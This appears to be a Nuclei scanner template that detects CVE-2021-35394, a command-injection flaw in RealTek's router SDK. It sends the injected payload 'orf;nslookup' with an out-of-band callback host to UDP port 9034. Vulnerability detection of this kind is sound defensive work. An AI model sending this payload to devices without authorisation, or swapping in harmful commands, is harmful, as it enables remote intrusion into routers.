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38 lines
1.2 KiB
YAML
38 lines
1.2 KiB
YAML
id: CVE-2021-35394
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info:
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name: RealTek AP Router SDK - Arbitrary Command Injection
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author: king-alexander
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severity: critical
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remediation: Apply the latest security patches or updates provided by RealTek.
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description: The SDK exposes a UDP server that allows remote execution of arbitray commands.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-35394
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- https://blogs.juniper.net/en-us/threat-research/realtek-cve-2021-35394-exploited-in-the-wild
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classification:
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epss-score: 0.94335
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tags: cve,cve2021,realtek,rce,kev
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javascript:
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- pre-condition: |
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isUDPPortOpen(Host,Port);
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code: |
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let packet = bytes.NewBuffer();
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let message = `orf;nslookup ${OAST}`
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let data = message;
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packet.WriteString(data)
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let c = require("nuclei/net");
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let conn = c.Open('udp', `${Host}:${Port}`);
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conn.SendHex(packet.Hex());
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args:
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Host: "{{Host}}"
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Port: 9034
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OAST: "{{interactsh-url}}"
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "dns"
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# digest: 4b0a00483046022100d0283b1e0d0beeafe6af8ee6d906a5c6b23adb110f5661344618dd7290b490b902210085bf17c10580b299edb8a1c38e96439035f00ceee132fdb8668c43052a091779:922c64590222798bb761d5b6d8e72950 |